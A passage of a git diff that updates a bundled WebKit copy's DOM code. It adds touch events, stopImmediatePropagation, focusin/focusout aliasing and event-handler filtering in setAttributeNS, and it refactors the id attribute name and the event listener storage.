-        updateAnimatedSVGAttribute(String());
+        updateAnimatedSVGAttribute(anyQName());
 #endif
 
     return namedAttrMap && namedAttrMap->length() > 0;
@@ -645,19 +738,20 @@ String Element::nodeNamePreservingCase() const
     return m_tagName.toString();
 }
 
-void Element::setPrefix(const AtomicString &_prefix, ExceptionCode& ec)
+void Element::setPrefix(const AtomicString& prefix, ExceptionCode& ec)
 {
     ec = 0;
-    checkSetPrefix(_prefix, ec);
+    checkSetPrefix(prefix, ec);
     if (ec)
         return;
 
-    m_tagName.setPrefix(_prefix);
+    m_tagName.setPrefix(prefix.isEmpty() ? AtomicString() : prefix);
 }
 
 KURL Element::baseURI() const
 {
-    KURL base(KURL(), getAttribute(baseAttr));
+    const AtomicString& baseAttribute = getAttribute(baseAttr);
+    KURL base(KURL(), baseAttribute);
     if (!base.protocol().isEmpty())
         return base;
 
@@ -669,7 +763,7 @@ KURL Element::baseURI() const
     if (parentBase.isNull())
         return base;
 
-    return KURL(parentBase, base.string());
+    return KURL(parentBase, baseAttribute);
 }
 
 void Element::createAttributeMap() const
@@ -708,7 +802,7 @@ void Element::insertedIntoDocument()
 
     if (hasID()) {
         if (NamedNodeMap* attrs = namedAttrMap.get()) {
-            Attribute* idItem = attrs->getAttributeItem(idAttr);
+            Attribute* idItem = attrs->getAttributeItem(idAttributeName());
             if (idItem && !idItem->isNull())
                 updateId(nullAtom, idItem->value());
         }
@@ -719,7 +813,7 @@ void Element::removedFromDocument()
 {
     if (hasID()) {
         if (NamedNodeMap* attrs = namedAttrMap.get()) {
-            Attribute* idItem = attrs->getAttributeItem(idAttr);
+            Attribute* idItem = attrs->getAttributeItem(idAttributeName());
             if (idItem && !idItem->isNull())
                 updateId(idItem->value(), nullAtom);
         }
@@ -731,6 +825,7 @@ void Element::removedFromDocument()
 void Element::attach()
 {
     suspendPostAttachCallbacks();
+    RenderWidget::suspendWidgetHierarchyUpdates();
 
     createRendererIfNeeded();
     ContainerNode::attach();
@@ -738,20 +833,25 @@ void Element::attach()
         ElementRareData* data = rareData();
         if (data->needsFocusAppearanceUpdateSoonAfterAttach()) {
             if (isFocusable() && document()->focusedNode() == this)
-                document()->updateFocusAppearanceSoon();
+                document()->updateFocusAppearanceSoon(false /* don't restore selection */);
             data->setNeedsFocusAppearanceUpdateSoonAfterAttach(false);
         }
     }
 
+    RenderWidget::resumeWidgetHierarchyUpdates();
     resumePostAttachCallbacks();
 }
 
 void Element::detach()
 {
+    RenderWidget::suspendWidgetHierarchyUpdates();
+
     cancelFocusAppearanceUpdate();
     if (hasRareData())
         rareData()->resetComputedStyle();
     ContainerNode::detach();
+
+    RenderWidget::resumeWidgetHierarchyUpdates();
 }
 
 bool Element::pseudoStyleCacheIsInvalid(const RenderStyle* currentStyle, RenderStyle* newStyle)
@@ -990,6 +1090,7 @@ void Element::finishParsingChildren()
 void Element::dispatchAttrRemovalEvent(Attribute*)
 {
     ASSERT(!eventDispatchForbidden());
+
 #if 0
     if (!document()->hasListenerType(Document::DOMATTRMODIFIED_LISTENER))
         return;
@@ -1002,6 +1103,7 @@ void Element::dispatchAttrRemovalEvent(Attribute*)
 void Element::dispatchAttrAdditionEvent(Attribute*)
 {
     ASSERT(!eventDispatchForbidden());
+
 #if 0
     if (!document()->hasListenerType(Document::DOMATTRMODIFIED_LISTENER))
         return;
@@ -1036,21 +1138,6 @@ String Element::openTagStartToString() const
     return result;
 }
 
-void Element::updateId(const AtomicString& oldId, const AtomicString& newId)
-{
-    if (!inDocument())
-        return;
-
-    if (oldId == newId)
-        return;
-
-    Document* doc = document();
-    if (!oldId.isEmpty())
-        doc->removeElementById(oldId, this);
-    if (!newId.isEmpty())
-        doc->addElementById(newId, this);
-}
-
 #ifndef NDEBUG
 void Element::formatForDebugger(char* buffer, unsigned length) const
 {
@@ -1062,7 +1149,7 @@ void Element::formatForDebugger(char* buffer, unsigned length) const
         result += s;
     }
           
-    s = getAttribute(idAttr);
+    s = getAttribute(idAttributeName());
     if (s.length() > 0) {
         if (result.length() > 0)
             result += "; ";
@@ -1122,13 +1209,17 @@ PassRefPtr<Attr> Element::removeAttributeNode(Attr* attr, ExceptionCode& ec)
     return static_pointer_cast<Attr>(attrs->removeNamedItem(attr->qualifiedName(), ec));
 }
 
-void Element::setAttributeNS(const AtomicString& namespaceURI, const AtomicString& qualifiedName, const AtomicString& value, ExceptionCode& ec)
+void Element::setAttributeNS(const AtomicString& namespaceURI, const AtomicString& qualifiedName, const AtomicString& value, ExceptionCode& ec, FragmentScriptingPermission scriptingPermission)
 {
     String prefix, localName;
     if (!Document::parseQualifiedName(qualifiedName, prefix, localName, ec))
         return;
 
     QualifiedName qName(prefix, localName, namespaceURI);
+
+    if (scriptingPermission == FragmentScriptingNotAllowed && (isEventHandlerAttribute(qName) || isAttributeToRemove(qName, value)))
+        return;
+
     setAttribute(qName, value, ec);
 }
 
@@ -1141,6 +1232,14 @@ void Element::removeAttribute(const String& name, ExceptionCode& ec)
         if (ec == NOT_FOUND_ERR)
             ec = 0;
     }
+    
+#if ENABLE(INSPECTOR)
+    if (Page* page = document()->page()) {
+        if (InspectorController* inspectorController = page->inspectorController())
+            inspectorController->didModifyDOMAttr(this);
+    }
+#endif
+    
 }
 
 void Element::removeAttributeNS(const String& namespaceURI, const String& localName, ExceptionCode& ec)
@@ -1239,7 +1338,7 @@ void Element::updateFocusAppearance(bool /*restorePreviousSelection*/)
         }
     }
     // FIXME: I'm not sure all devices will want this off, but this is
-    // currently turned off for Andriod.
+    // currently turned off for Android.
 #if !ENABLE(DIRECTIONAL_PAD_NAVIGATION)
     else if (renderer() && !renderer()->isWidget())
         renderer()->enclosingLayer()->scrollRectToVisible(getRect());
@@ -1308,7 +1407,7 @@ RenderStyle* Element::computedStyle()
 
     ElementRareData* data = ensureRareData();
     if (!data->m_computedStyle)
-        data->m_computedStyle = document()->styleSelector()->styleForElement(this, parent() ? parent()->computedStyle() : 0);
+        data->m_computedStyle = document()->styleForElementIgnoringPendingStylesheets(this);
     return data->m_computedStyle.get();
 }
 
@@ -1412,7 +1511,7 @@ bool Element::webkitMatchesSelector(const String& selector, ExceptionCode& ec)
 
 KURL Element::getURLAttribute(const QualifiedName& name) const
 {
-#ifndef NDEBUG
+#if !ASSERT_DISABLED
     if (namedAttrMap) {
         if (Attribute* attribute = namedAttrMap->getAttributeItem(name))
             ASSERT(isURLAttribute(attribute));
@@ -1421,4 +1520,9 @@ KURL Element::getURLAttribute(const QualifiedName& name) const
     return document()->completeURL(deprecatedParseURL(getAttribute(name)));
 }
 
+const QualifiedName& Element::rareIDAttributeName() const
+{
+    return rareData()->m_idAttributeName;
+}
+
 } // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/dom/Element.h b/src/3rdparty/webkit/WebCore/dom/Element.h
index d27976a..348ed1c 100644
--- a/src/3rdparty/webkit/WebCore/dom/Element.h
+++ b/src/3rdparty/webkit/WebCore/dom/Element.h
@@ -26,6 +26,9 @@
 #define Element_h
 
 #include "ContainerNode.h"
+#include "Document.h"
+#include "HTMLNames.h"
+#include "MappedAttributeEntry.h"
 #include "QualifiedName.h"
 #include "ScrollTypes.h"
 
@@ -71,7 +74,7 @@ public:
     DEFINE_ATTRIBUTE_EVENT_LISTENER(select);
     DEFINE_ATTRIBUTE_EVENT_LISTENER(submit);
 
-    // These 4 attribute event handler attributes are overrided by HTMLBodyElement
+    // These four attribute event handler attributes are overridden by HTMLBodyElement
     // and HTMLFrameSetElement to forward to the DOMWindow.
     DEFINE_VIRTUAL_ATTRIBUTE_EVENT_LISTENER(blur);
     DEFINE_VIRTUAL_ATTRIBUTE_EVENT_LISTENER(error);
@@ -88,6 +91,14 @@ public:
     DEFINE_ATTRIBUTE_EVENT_LISTENER(reset);
     DEFINE_ATTRIBUTE_EVENT_LISTENER(search);
     DEFINE_ATTRIBUTE_EVENT_LISTENER(selectstart);
+#if ENABLE(TOUCH_EVENTS)
+    DEFINE_ATTRIBUTE_EVENT_LISTENER(touchstart);
+    DEFINE_ATTRIBUTE_EVENT_LISTENER(touchmove);
+    DEFINE_ATTRIBUTE_EVENT_LISTENER(touchend);
+    DEFINE_ATTRIBUTE_EVENT_LISTENER(touchcancel);
+#endif
+
+    virtual PassRefPtr<DocumentFragment> createContextualFragment(const String&, FragmentScriptingPermission = FragmentScriptingAllowed);
 
     const AtomicString& getIDAttribute() const;
     bool hasAttribute(const QualifiedName&) const;
@@ -104,7 +115,9 @@ public:
     const AtomicString& getAttributeNS(const String& namespaceURI, const String& localName) const;
 
     void setAttribute(const AtomicString& name, const AtomicString& value, ExceptionCode&);
-    void setAttributeNS(const AtomicString& namespaceURI, const AtomicString& qualifiedName, const AtomicString& value, ExceptionCode&);
+    void setAttributeNS(const AtomicString& namespaceURI, const AtomicString& qualifiedName, const AtomicString& value, ExceptionCode&, FragmentScriptingPermission = FragmentScriptingAllowed);
+
+    const QualifiedName& idAttributeName() const;
 
     void scrollIntoView(bool alignToTop = true);
     void scrollIntoViewIfNeeded(bool centerIfNeeded = true);
@@ -167,6 +180,9 @@ public:
     // convenience methods which ignore exceptions
     void setAttribute(const QualifiedName&, const AtomicString& value);
     void setBooleanAttribute(const QualifiedName& name, bool);
+    // Please don't use setCStringAttribute in performance-sensitive code;
+    // use a static AtomicString value instead to avoid the conversion overhead.
+    void setCStringAttribute(const QualifiedName&, const char* cStringValue);
 
     virtual NamedNodeMap* attributes() const;
     NamedNodeMap* attributes(bool readonly) const;
@@ -175,7 +191,7 @@ public:
     virtual void attributeChanged(Attribute*, bool preserveDecls = false);
 
     // not part of the DOM
-    void setAttributeMap(PassRefPtr<NamedNodeMap>);
+    void setAttributeMap(PassRefPtr<NamedNodeMap>, FragmentScriptingPermission = FragmentScriptingAllowed);
     NamedNodeMap* attributeMap() const { return namedAttrMap.get(); }
 
     virtual void copyNonAttributeProperties(const Element* /*source*/) { }
@@ -274,6 +290,7 @@ private:
     virtual bool childTypeAllowed(NodeType);
 
     virtual PassRefPtr<Attribute> createAttribute(const QualifiedName&, const AtomicString& value);
+    const QualifiedName& rareIDAttributeName() const;
     
 #ifndef NDEBUG
     virtual void formatForDebugger(char* buffer, unsigned length) const;
@@ -286,10 +303,9 @@ private:
     virtual void updateStyleAttribute() const { }
 
 #if ENABLE(SVG)
-    virtual void updateAnimatedSVGAttribute(const String&) const { }
+    virtual void updateAnimatedSVGAttribute(const QualifiedName&) const { }
 #endif
 
-    void updateFocusAppearanceSoonAfterAttach();
     void cancelFocusAppearanceUpdate();
 
     virtual const AtomicString& virtualPrefix() const { return prefix(); }
@@ -331,6 +347,41 @@ inline Element* Node::parentElement() const
     return parent && parent->isElementNode() ? static_cast<Element*>(parent) : 0;
 }
 
+inline const QualifiedName& Element::idAttributeName() const
+{
+    return hasRareData() ? rareIDAttributeName() : HTMLNames::idAttr;
+}
+
+inline NamedNodeMap* Element::attributes(bool readonly) const
+{
+    if (!m_isStyleAttributeValid)
+        updateStyleAttribute();
+
+#if ENABLE(SVG)
+    if (!m_areSVGAttributesValid)
+        updateAnimatedSVGAttribute(anyQName());
+#endif
+
+    if (!readonly && !namedAttrMap)
+        createAttributeMap();
+    return namedAttrMap.get();
+}
+
+inline void Element::updateId(const AtomicString& oldId, const AtomicString& newId)
+{
+    if (!inDocument())
+        return;
+
+    if (oldId == newId)
+        return;
+
+    Document* doc = document();
+    if (!oldId.isEmpty())
+        doc->removeElementById(oldId, this);
+    if (!newId.isEmpty())
+        doc->addElementById(newId, this);
+}
+
 } //namespace
 
 #endif
diff --git a/src/3rdparty/webkit/WebCore/dom/Element.idl b/src/3rdparty/webkit/WebCore/dom/Element.idl
index d90f819..1368503 100644
--- a/src/3rdparty/webkit/WebCore/dom/Element.idl
+++ b/src/3rdparty/webkit/WebCore/dom/Element.idl
@@ -22,11 +22,8 @@ module core {
 
     interface [
         CustomMarkFunction,
-        GenerateConstructor,
         GenerateNativeConverter,
-        InlineGetOwnPropertySlot,
-        InterfaceUUID=FEFE9C21-E58C-4b5b-821A-61A514613763,
-        ImplementationUUID=12E5B08E-A680-4baf-9D1E-108AEF7ABBFB
+        InlineGetOwnPropertySlot
     ] Element : Node {
 
         // DOM Level 1 Core
@@ -67,9 +64,7 @@ module core {
         [OldStyleObjC] boolean hasAttributeNS(in [ConvertNullToNullString] DOMString namespaceURI,
                                               in DOMString localName);
 
-#if !defined(LANGUAGE_COM) || !LANGUAGE_COM
         readonly attribute CSSStyleDeclaration style;
-#endif
 
         // Common extensions
 
@@ -110,7 +105,6 @@ module core {
         NodeList querySelectorAll(in DOMString selectors)
             raises(DOMException);
 
-#if !defined(LANGUAGE_COM) || !LANGUAGE_COM
         // WebKit extension, pending specification.
         boolean webkitMatchesSelector(in DOMString selectors)
             raises(DOMException);
@@ -121,7 +115,6 @@ module core {
         readonly attribute Element previousElementSibling;
         readonly attribute Element nextElementSibling;
         readonly attribute unsigned long childElementCount;
-#endif
 
 #if defined(LANGUAGE_JAVASCRIPT) && LANGUAGE_JAVASCRIPT
         // CSSOM View Module API
@@ -135,7 +128,6 @@ module core {
 #endif
 
 #if !defined(LANGUAGE_OBJECTIVE_C) || !LANGUAGE_OBJECTIVE_C
-#if !defined(LANGUAGE_COM) || !LANGUAGE_COM
         // Event handler DOM attributes
         attribute [DontEnum] EventListener onabort;
         attribute [DontEnum] EventListener onblur;
@@ -203,7 +195,10 @@ module core {
         attribute [DontEnum] EventListener onreset;
         attribute [DontEnum] EventListener onsearch;
         attribute [DontEnum] EventListener onselectstart;
-#endif
+        attribute [DontEnum,Conditional=TOUCH_EVENTS] EventListener ontouchstart;
+        attribute [DontEnum,Conditional=TOUCH_EVENTS] EventListener ontouchmove;
+        attribute [DontEnum,Conditional=TOUCH_EVENTS] EventListener ontouchend;
+        attribute [DontEnum,Conditional=TOUCH_EVENTS] EventListener ontouchcancel;
 #endif
     };
 
diff --git a/src/3rdparty/webkit/WebCore/dom/ElementRareData.h b/src/3rdparty/webkit/WebCore/dom/ElementRareData.h
index 94e0499..f23ad8e 100644
--- a/src/3rdparty/webkit/WebCore/dom/ElementRareData.h
+++ b/src/3rdparty/webkit/WebCore/dom/ElementRareData.h
@@ -27,6 +27,8 @@
 
 namespace WebCore {
 
+using namespace HTMLNames;
+
 class ElementRareData : public NodeRareData {
 public:
     ElementRareData();
@@ -38,6 +40,7 @@ public:
 
     IntSize m_minimumSizeForResizing;
     RefPtr<RenderStyle> m_computedStyle;
+    QualifiedName m_idAttributeName;
 };
 
 inline IntSize defaultMinimumSizeForResizing()
@@ -47,6 +50,7 @@ inline IntSize defaultMinimumSizeForResizing()
 
 inline ElementRareData::ElementRareData()
     : m_minimumSizeForResizing(defaultMinimumSizeForResizing())
+    , m_idAttributeName(idAttr)
 {
 }
 
diff --git a/src/3rdparty/webkit/WebCore/dom/Entity.idl b/src/3rdparty/webkit/WebCore/dom/Entity.idl
index b154797..8dacbe9 100644
--- a/src/3rdparty/webkit/WebCore/dom/Entity.idl
+++ b/src/3rdparty/webkit/WebCore/dom/Entity.idl
@@ -19,11 +19,7 @@
 
 module core {
 
-    interface [
-        GenerateConstructor,
-        InterfaceUUID=5CDB5ACA-F3A7-47ea-B89C-F335E4342C55,
-        ImplementationUUID=DDD2A621-59FD-4bb2-9F95-7061C3FB9F06
-    ] Entity : Node {
+    interface Entity : Node {
         readonly attribute [ConvertNullStringTo=Null] DOMString publicId;
         readonly attribute [ConvertNullStringTo=Null] DOMString systemId;
         readonly attribute [ConvertNullStringTo=Null] DOMString notationName;
diff --git a/src/3rdparty/webkit/WebCore/dom/EntityReference.idl b/src/3rdparty/webkit/WebCore/dom/EntityReference.idl
index 8a206e9..f652d9a 100644
--- a/src/3rdparty/webkit/WebCore/dom/EntityReference.idl
+++ b/src/3rdparty/webkit/WebCore/dom/EntityReference.idl
@@ -19,11 +19,7 @@
 
 module core {
 
-    interface [
-        GenerateConstructor,
-        InterfaceUUID=61BF4A03-19FB-4ac4-A624-5BF0893FDA65,
-        ImplementationUUID=486E1182-CF4F-450b-B411-A584CA42BBD0
-    ] EntityReference : Node {
+    interface EntityReference : Node {
     };
 
 }
diff --git a/src/3rdparty/webkit/WebCore/dom/ErrorEvent.idl b/src/3rdparty/webkit/WebCore/dom/ErrorEvent.idl
index 6125e1e..ad13193 100644
--- a/src/3rdparty/webkit/WebCore/dom/ErrorEvent.idl
+++ b/src/3rdparty/webkit/WebCore/dom/ErrorEvent.idl
@@ -32,7 +32,6 @@ module events {
 
     interface [
         Conditional=WORKERS,
-        GenerateConstructor,
         NoStaticTables
     ] ErrorEvent : Event {
 
diff --git a/src/3rdparty/webkit/WebCore/dom/Event.cpp b/src/3rdparty/webkit/WebCore/dom/Event.cpp
index ba310ef..06cc0bd 100644
--- a/src/3rdparty/webkit/WebCore/dom/Event.cpp
+++ b/src/3rdparty/webkit/WebCore/dom/Event.cpp
@@ -32,6 +32,7 @@ Event::Event()
     : m_canBubble(false)
     , m_cancelable(false)
     , m_propagationStopped(false)
+    , m_immediatePropagationStopped(false)
     , m_defaultPrevented(false)
     , m_defaultHandled(false)
     , m_cancelBubble(false)
@@ -47,6 +48,7 @@ Event::Event(const AtomicString& eventType, bool canBubbleArg, bool cancelableAr
     , m_canBubble(canBubbleArg)
     , m_cancelable(cancelableArg)
     , m_propagationStopped(false)
+    , m_immediatePropagationStopped(false)
     , m_defaultPrevented(false)
     , m_defaultHandled(false)
     , m_cancelBubble(false)
@@ -71,6 +73,11 @@ void Event::initEvent(const AtomicString& eventTypeArg, bool canBubbleArg, bool
     m_cancelable = cancelableArg;
 }
 
+bool Event::isCustomEvent() const
+{
+    return false;
+}
+
 bool Event::isUIEvent() const
 {
     return false;
@@ -96,6 +103,11 @@ bool Event::isTextEvent() const
     return false;
 }
 
+bool Event::isCompositionEvent() const
+{
+    return false;
+}
+
 bool Event::isDragEvent() const
 {
     return false;
@@ -131,6 +143,11 @@ bool Event::isPageTransitionEvent() const
     return false;
 }
 
+bool Event::isPopStateEvent() const
+{
+    return false;
+}
+
 bool Event::isProgressEvent() const
 {
     return false;
@@ -176,7 +193,38 @@ bool Event::isErrorEvent() const
     return false;
 }
 #endif
-    
+
+#if ENABLE(TOUCH_EVENTS)
+bool Event::isTouchEvent() const
+{
+    return false;
+}
+#endif
+
+bool Event::fromUserGesture()
+{
+    if (createdByDOM())
+        return false;
+
+    const AtomicString& type = this->type();
+    return
+        // mouse events
+        type == eventNames().clickEvent || type == eventNames().mousedownEvent 
+        || type == eventNames().mouseupEvent || type == eventNames().dblclickEvent 
+        // keyboard events
+        || type == eventNames().keydownEvent || type == eventNames().keypressEvent
+        || type == eventNames().keyupEvent
+#if ENABLE(TOUCH_EVENTS)
+        // touch events
+        || type == eventNames().touchstartEvent || type == eventNames().touchmoveEvent
+        || type == eventNames().touchendEvent || type == eventNames().touchcancelEvent
+#endif
+        // other accepted events
+        || type == eventNames().selectEvent || type == eventNames().changeEvent
+        || type == eventNames().focusEvent || type == eventNames().blurEvent
+        || type == eventNames().submitEvent;
+}
+
 bool Event::storesResultAsString() const
 {
     return false;
@@ -206,4 +254,25 @@ void Event::setUnderlyingEvent(PassRefPtr<Event> ue)
     m_underlyingEvent = ue;
 }
 
+const AtomicString& Event::aliasedType() const
+{
+    if (type() == eventNames().focusinEvent)
+        return eventNames().DOMFocusInEvent;
+    if (type() == eventNames().focusoutEvent)
+        return eventNames().DOMFocusOutEvent;
+    if (type() == eventNames().DOMFocusInEvent)
+        return eventNames().focusinEvent;
+    if (type() == eventNames().DOMFocusOutEvent)
+        return eventNames().focusoutEvent;
+    
+    ASSERT_NOT_REACHED();
+    return type();
+}
+
+bool Event::hasAliasedType() const
+{
+    return type() == eventNames().focusinEvent || type() == eventNames().focusoutEvent ||
+           type() == eventNames().DOMFocusInEvent || type() == eventNames().DOMFocusOutEvent;
+}
+
 } // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/dom/Event.h b/src/3rdparty/webkit/WebCore/dom/Event.h
index 74a2f10..09f1cf4 100644
--- a/src/3rdparty/webkit/WebCore/dom/Event.h
+++ b/src/3rdparty/webkit/WebCore/dom/Event.h
@@ -75,6 +75,9 @@ namespace WebCore {
         void initEvent(const AtomicString& type, bool canBubble, bool cancelable);
 
         const AtomicString& type() const { return m_type; }
+        
+        const AtomicString& aliasedType() const;
+        bool hasAliasedType() const;
 
         EventTarget* target() const { return m_target.get(); }
         void setTarget(PassRefPtr<EventTarget>);
@@ -88,8 +91,10 @@ namespace WebCore {
         bool bubbles() const { return m_canBubble; }
         bool cancelable() const { return m_cancelable; }
         DOMTimeStamp timeStamp() const { return m_createTime; }
-        void stopPropagation() { m_propagationStopped = true; }
 
+        void stopPropagation() { m_propagationStopped = true; }
+        void stopImmediatePropagation() { m_immediatePropagationStopped = true; }
+        
         // IE Extensions
         EventTarget* srcElement() const { return target(); } // MSIE extension - "the object that fired the event"
 
@@ -98,11 +103,13 @@ namespace WebCore {
 
         Clipboard* clipboardData() const { return isClipboardEvent() ? clipboard() : 0; }
 
+        virtual bool isCustomEvent() const;
         virtual bool isUIEvent() const;
         virtual bool isMouseEvent() const;
         virtual bool isMutationEvent() const;
         virtual bool isKeyboardEvent() const;
         virtual bool isTextEvent() const;
+        virtual bool isCompositionEvent() const;
         virtual bool isDragEvent() const; // a subset of mouse events
         virtual bool isClipboardEvent() const;
         virtual bool isMessageEvent() const;
@@ -110,6 +117,7 @@ namespace WebCore {
         virtual bool isBeforeTextInsertedEvent() const;
         virtual bool isOverflowEvent() const;
         virtual bool isPageTransitionEvent() const;
+        virtual bool isPopStateEvent() const;
         virtual bool isProgressEvent() const;
         virtual bool isXMLHttpRequestProgressEvent() const;
         virtual bool isWebKitAnimationEvent() const;
@@ -124,8 +132,13 @@ namespace WebCore {
 #if ENABLE(WORKERS)
         virtual bool isErrorEvent() const;
 #endif
+#if ENABLE(TOUCH_EVENTS)
+        virtual bool isTouchEvent() const;
+#endif
+        bool fromUserGesture();
         
-        bool propagationStopped() const { return m_propagationStopped; }
+        bool propagationStopped() const { return m_propagationStopped || m_immediatePropagationStopped; }
+        bool immediatePropagationStopped() const { return m_immediatePropagationStopped; }
 
         bool defaultPrevented() const { return m_defaultPrevented; }
         void preventDefault() { if (m_cancelable) m_defaultPrevented = true; }
@@ -161,6 +174,7 @@ namespace WebCore {
         bool m_cancelable;
 
         bool m_propagationStopped;
+        bool m_immediatePropagationStopped;
         bool m_defaultPrevented;
         bool m_defaultHandled;
         bool m_cancelBubble;
diff --git a/src/3rdparty/webkit/WebCore/dom/Event.idl b/src/3rdparty/webkit/WebCore/dom/Event.idl
index 75b6b5f..919fc90 100644
--- a/src/3rdparty/webkit/WebCore/dom/Event.idl
+++ b/src/3rdparty/webkit/WebCore/dom/Event.idl
@@ -23,11 +23,8 @@ module events {
     // Introduced in DOM Level 2:
     interface [
         CustomToJS,
-        GenerateConstructor,
         NoStaticTables,
-        Polymorphic,
-        InterfaceUUID=D17495FA-ACAD-4d27-9362-E19E057B189D,
-        ImplementationUUID=CFDCDDB2-5B3F-412d-BDA4-80B23C721549
+        Polymorphic
     ] Event {
 
         // DOM PhaseType
@@ -61,15 +58,18 @@ module events {
         readonly attribute unsigned short   eventPhase;
         readonly attribute boolean          bubbles;
         readonly attribute boolean          cancelable;
-#if !defined(LANGUAGE_COM) || !LANGUAGE_COM
         readonly attribute DOMTimeStamp     timeStamp;
-#endif
+
         void               stopPropagation();
         void               preventDefault();
         [OldStyleObjC] void initEvent(in DOMString eventTypeArg, 
                                       in boolean canBubbleArg, 
                                       in boolean cancelableArg);
 
+        // DOM Level 3 Additions.
+        readonly attribute boolean defaultPrevented;
+        void stopImmediatePropagation();
+
         // IE Extensions
         readonly attribute EventTarget      srcElement;
                  attribute boolean          returnValue;
diff --git a/src/3rdparty/webkit/WebCore/dom/EventException.idl b/src/3rdparty/webkit/WebCore/dom/EventException.idl
index 3d82f85..1c8fac6 100644
--- a/src/3rdparty/webkit/WebCore/dom/EventException.idl
+++ b/src/3rdparty/webkit/WebCore/dom/EventException.idl
@@ -30,7 +30,6 @@ module events {
 
     // Introduced in DOM Level 2:
     interface [
-        GenerateConstructor,
         NoStaticTables
     ] EventException {
 
diff --git a/src/3rdparty/webkit/WebCore/dom/EventListener.h b/src/3rdparty/webkit/WebCore/dom/EventListener.h
index f834b31..8a35922 100644
--- a/src/3rdparty/webkit/WebCore/dom/EventListener.h
+++ b/src/3rdparty/webkit/WebCore/dom/EventListener.h
@@ -51,8 +51,8 @@ namespace WebCore {
         virtual bool wasCreatedFromMarkup() const { return false; }
 
 #if USE(JSC)
-        virtual JSC::JSObject* jsFunction(ScriptExecutionContext*) const { return 0; }
         virtual void markJSFunction(JSC::MarkStack&) { }
+        virtual void invalidateJSFunction(JSC::JSObject*) { }
 #endif
 
         bool isAttribute() const { return virtualisAttribute(); }
diff --git a/src/3rdparty/webkit/WebCore/dom/EventListener.idl b/src/3rdparty/webkit/WebCore/dom/EventListener.idl
index 1edf52f..023777b 100644
--- a/src/3rdparty/webkit/WebCore/dom/EventListener.idl
+++ b/src/3rdparty/webkit/WebCore/dom/EventListener.idl
@@ -25,7 +25,7 @@ module events {
         NoStaticTables,
         ObjCProtocol,
         PureInterface,
-        InterfaceUUID=B04F2AE3-71E2-4ebe-ABFE-EF4938354082,
+        OmitConstructor
     ] EventListener {
         void               handleEvent(in Event evt);
     };
diff --git a/src/3rdparty/webkit/WebCore/dom/EventNames.cpp b/src/3rdparty/webkit/WebCore/dom/EventNames.cpp
index 00191ab..900b8ef 100644
--- a/src/3rdparty/webkit/WebCore/dom/EventNames.cpp
+++ b/src/3rdparty/webkit/WebCore/dom/EventNames.cpp
@@ -1,6 +1,4 @@
 /*
- * This file is part of the DOM implementation for KDE.
- *
  * Copyright (C) 2005 Apple Computer, Inc.
  *
  * This library is free software; you can redistribute it and/or
diff --git a/src/3rdparty/webkit/WebCore/dom/EventNames.h b/src/3rdparty/webkit/WebCore/dom/EventNames.h
index 2c4cd32..946e513 100644
--- a/src/3rdparty/webkit/WebCore/dom/EventNames.h
+++ b/src/3rdparty/webkit/WebCore/dom/EventNames.h
@@ -41,6 +41,9 @@ namespace WebCore {
     macro(checking) \
     macro(click) \
     macro(close) \
+    macro(compositionend) \
+    macro(compositionstart) \
+    macro(compositionupdate) \
     macro(connect) \
     macro(contextmenu) \
     macro(copy) \
@@ -57,6 +60,8 @@ namespace WebCore {
     macro(drop) \
     macro(error) \
     macro(focus) \
+    macro(focusin) \
+    macro(focusout) \
     macro(hashchange) \
     macro(input) \
     macro(invalid) \
@@ -81,6 +86,7 @@ namespace WebCore {
     macro(pagehide) \
     macro(pageshow) \
     macro(paste) \
+    macro(popstate) \
     macro(readystatechange) \
     macro(reset) \
     macro(resize) \
@@ -96,10 +102,10 @@ namespace WebCore {
     macro(zoom) \
     \
     macro(DOMActivate) \
-    macro(DOMAttrModified) \
-    macro(DOMCharacterDataModified) \
     macro(DOMFocusIn) \
     macro(DOMFocusOut) \
+    macro(DOMAttrModified) \
+    macro(DOMCharacterDataModified) \
     macro(DOMNodeInserted) \
     macro(DOMNodeInsertedIntoDocument) \
     macro(DOMNodeRemoved) \
@@ -127,6 +133,9 @@ namespace WebCore {
     macro(volumechange) \
     macro(waiting) \
     \
+    macro(webkitbeginfullscreen) \
+    macro(webkitendfullscreen) \
+    \
     macro(progress) \
     macro(stalled) \
     macro(suspend) \
@@ -139,14 +148,22 @@ namespace WebCore {
     \
     macro(orientationchange) \
     \
+    macro(touchstart) \
+    macro(touchmove) \
+    macro(touchend) \
+    macro(touchcancel) \
+    \
+    macro(success) \
+    \
 // end of DOM_EVENT_NAMES_FOR_EACH
 
-    class EventNames {
+    class EventNames : public Noncopyable {
         int dummy; // Needed to make initialization macro work.
-
-    public:
+        // Private to prevent accidental call to EventNames() instead of eventNames()
         EventNames();
+        friend class ThreadGlobalData;
 
+    public:
         #define DOM_EVENT_NAMES_DECLARE(name) AtomicString name##Event;
         DOM_EVENT_NAMES_FOR_EACH(DOM_EVENT_NAMES_DECLARE)
         #undef DOM_EVENT_NAMES_DECLARE
diff --git a/src/3rdparty/webkit/WebCore/dom/EventTarget.cpp b/src/3rdparty/webkit/WebCore/dom/EventTarget.cpp
index 694e78a..1598790 100644
--- a/src/3rdparty/webkit/WebCore/dom/EventTarget.cpp
+++ b/src/3rdparty/webkit/WebCore/dom/EventTarget.cpp
@@ -1,6 +1,4 @@
 /*
- * This file is part of the DOM implementation for KDE.
- *
  * Copyright (C) 1999 Lars Knoll (knoll@kde.org)
  *           (C) 1999 Antti Koivisto (koivisto@kde.org)
  *           (C) 2001 Dirk Mueller (mueller@kde.org)
@@ -68,6 +66,11 @@ bool eventDispatchForbidden()
 }
 #endif // NDEBUG
 
+EventTargetData::~EventTargetData()
+{
+    deleteAllValues(eventListenerMap);
+}
+
 EventTarget::~EventTarget()
 {
 }
@@ -157,16 +160,19 @@ bool EventTarget::addEventListener(const AtomicString& eventType, PassRefPtr<Eve
 {
     EventTargetData* d = ensureEventTargetData();
 
-    pair<EventListenerMap::iterator, bool> result = d->eventListenerMap.add(eventType, EventListenerVector());
-    EventListenerVector& entry = result.first->second;
+    pair<EventListenerMap::iterator, bool> result = d->eventListenerMap.add(eventType, 0);
+    EventListenerVector*& entry = result.first->second;
+    const bool isNewEntry = result.second;
+    if (isNewEntry)
+        entry = new EventListenerVector();
 
     RegisteredEventListener registeredListener(listener, useCapture);
-    if (!result.second) { // pre-existing entry
-        if (entry.find(registeredListener) != notFound) // duplicate listener
+    if (!isNewEntry) {
+        if (entry->find(registeredListener) != notFound) // duplicate listener
             return false;
     }
 
-    entry.append(registeredListener);
+    entry->append(registeredListener);
     return true;
 }
 
